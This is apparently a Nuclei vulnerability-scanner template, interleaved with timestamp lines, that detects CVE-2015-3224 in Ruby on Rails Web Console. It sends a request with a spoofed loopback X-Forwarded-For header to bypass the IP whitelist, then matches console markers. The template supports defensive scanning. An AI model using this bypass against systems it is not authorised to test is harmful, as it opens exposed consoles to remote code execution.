2022-04-26 21:55:12 +00:00
id : CVE-2015-3224
info :
name : Ruby on Rails Web Console - Remote Code Execution
author : pdteam
2023-07-11 19:49:27 +00:00
severity : medium
2022-05-17 09:18:12 +00:00
description : Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of Ruby on Rails or disable the Web Console feature.
2022-04-26 21:55:12 +00:00
reference :
- https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/
- https://www.jomar.fr/posts/2022/basic_recon_to_rce_ii/
- https://hackerone.com/reports/44513
- https://nvd.nist.gov/vuln/detail/CVE-2015-3224
2023-07-11 19:49:27 +00:00
- http://lists.fedoraproject.org/pipermail/package-announce/2015-June/160881.html
2022-04-29 19:58:07 +00:00
classification :
2022-09-06 01:33:31 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
2023-04-18 02:40:53 +00:00
cvss-score : 4.3
2022-04-29 19:58:07 +00:00
cve-id : CVE-2015-3224
2022-09-06 01:33:31 +00:00
cwe-id : CWE-284
2023-10-26 18:00:24 +00:00
epss-score : 0.93857
2023-11-27 09:19:41 +00:00
epss-percentile : 0.98914
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:rubyonrails:web_console:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rubyonrails
product : web_console
tags : ruby,hackerone,cve,cve2015,rce,rails,intrusive
2022-04-26 21:55:12 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-26 21:55:12 +00:00
- method : GET
path :
- "{{BaseURL}}/{{randstr}}"
headers :
X-Forwarded-For : : : 1
matchers-condition : and
matchers :
- type : word
part : body
words :
- "Rails.root:"
- "Action Controller: Exception caught"
condition : and
- type : word
part : response
words :
2023-07-11 19:49:27 +00:00
- X-Web-Console-Session-Id
- data-remote-path=
- data-session-id=
2022-04-26 21:55:12 +00:00
case-insensitive : true
2022-04-29 19:58:07 +00:00
condition : or
2023-11-27 10:10:24 +00:00
# digest: 4a0a00473045022011df77caa1b0f16a21a825d2fc0f22ccaa8069cf1ce653625731419d170884c7022100ccd76d5f2a10abc3f82cb39d94c09c666f8f96e56126087ccadbcbfb54111cd5:922c64590222798bb761d5b6d8e72950